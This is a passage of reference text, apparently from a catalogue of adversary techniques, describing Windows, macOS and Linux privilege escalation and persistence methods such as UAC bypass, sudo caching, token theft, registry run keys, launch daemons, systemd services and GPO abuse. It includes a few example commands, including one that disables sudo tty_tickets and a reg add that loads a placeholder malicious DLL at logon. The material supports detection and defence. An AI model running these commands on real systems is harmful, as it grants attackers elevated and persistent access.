If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script.

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.

.003 - Sudo and Sudo Caching

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."[1] Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, `/var/db/sudo`'s timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if `tty_tickets` is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled `tty_tickets` to potentially make scripting easier by issuing `echo \'Defaults !tty_tickets\' >> /etc/sudoers`. In order for this change to be reflected, the malware also issued `killall Terminal`. As of macOS Sierra, the sudoers file has `tty_tickets` enabled by default.

.004 - Elevated Execution with Prompt
Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.

T1134 - Access Token Manipulation
Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

.001 - Token Impersonation/Theft
Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.

.002 - Create Process with Token
Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.

Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as Token Impersonation/Theft or Make and Impersonate Token).

.003 - Make and Impersonate Token
Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.

.004 - Parent PID Spoofing
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.[3] This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.

.005 - SID-History Injection

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.

T1547 - Boot or Logon Autostart Execution

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon. These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

.001 - Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. The startup folder path for all users is `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`.

The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Run keys may exist under multiple hives. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"

The following Registry keys can be used to set startup folder items for persistence:

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

.002 - Authentication Package

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.

.003 - Time Providers

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.

.004 - Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

.005 - Security Support Provider

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.

.006 - Kernel Modules and Extensions

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.

When used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.

Adversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open-source projects as well.

.007 - Re-opened Applications

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in". When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory. Applications listed in this file are automatically reopened upon the user’s next logon.

Adversaries can establish Persistence by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.

.008 - LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.

.009 - Shortcut Modification

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.

.010 - Port Monitors

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the `AddMonitor` API call to set a DLL to be loaded at startup. This DLL can be located in `C:\Windows\System32` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

.012 - Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\SYSTEM\[CurrentControlSet or ControlSet001]\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver` Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the `GetPrintProcessorDirectory` API call.[1] After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run. The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

.013 - XDG Autostart Entries

Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the `/etc/xdg/autostart` or `~/.config/autostart` directories and have a .desktop file extension.

Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The `Name` key indicates an arbitrary name assigned by the creator and the `Exec` key indicates the application and command line arguments to execute.

Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use Masquerading to make XDG autostart entries look as if they are associated with legitimate programs.

.014 - Active Setup

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.

Adversaries may abuse Active Setup by creating a key under `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\` and setting a malicious value for `StubPath`. This value will serve as the program that will be executed when a user logs into the computer.

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

.015 - Login Items

Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call `SMLoginItemSetEnabled`.

Login items installed using the Service Management Framework leverage `launchd`, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the "System Events" process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as `tell application "System Events" to` make login item at end with properties /path/to/executable. This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.

T1037 - Boot or Logon Initialization Scripts

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

.001 - Logon Script (Windows)

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system. This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

.002 - Login Hook

Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.

Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.

Note: Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent

.003 - Network Logon Script

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects. These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

.004 - RC Scripts
Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system's startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to `rc.local`, `rc.common`, and other RC scripts specific to the Unix-like distribution. Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts. To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.

.005 - Startup Items
Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.

This is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, `/Library/StartupItems` isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `StartupParameters.plist`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism. Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

T1543 - Create or Modify System Process
Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters.

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.

.001 - Launch Agent

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents`. Property list files use the `Label`, `ProgramArguments` , and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

Launch Agents can also be executed using the Launchctl command.

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the `RunAtLoad` or `KeepAlive` keys set to `true`. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.

.002 - Systemd Service

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the `/etc/systemd/system` and `/usr/lib/systemd/system` directories and have the file extension `.service`. Each service unit file may contain numerous directives that can execute system commands:

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.

While adversaries typically require root privileges to create/modify service unit files in the `/etc/systemd/system` and `/usr/lib/systemd/system` directories, low privilege users can create/modify service unit files in directories such as `~/.config/systemd/user/` to achieve user-level persistence.

.003 - Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).

.004 - Launch Daemon

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in `/System/Library/LaunchDaemons/` and `/Library/LaunchDaemons/`. Required Launch Daemons parameters include a `Label` to identify the task, `Program` to provide a path to the executable, and `RunAtLoad` to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.

Adversaries may install a Launch Daemon configured to execute at startup by using the `RunAtLoad` parameter set to `true` and the `Program` parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.

Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as `usr/local/bin` to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.

T1484 - Domain Policy Modification

Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources. Adversaries can also change configuration settings within the AD environment to implement a Rogue Domain Controller.

Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

.001 - Group Policy Modification

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.

For example, publicly available scripts such as `New-GPOImmediateTask` can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying `<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml`. In some cases an adversary might modify specific user rights like `SeEnableDelegationPrivilege`, set in `<GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf`, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.

.002 - Domain Trust Modification

Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

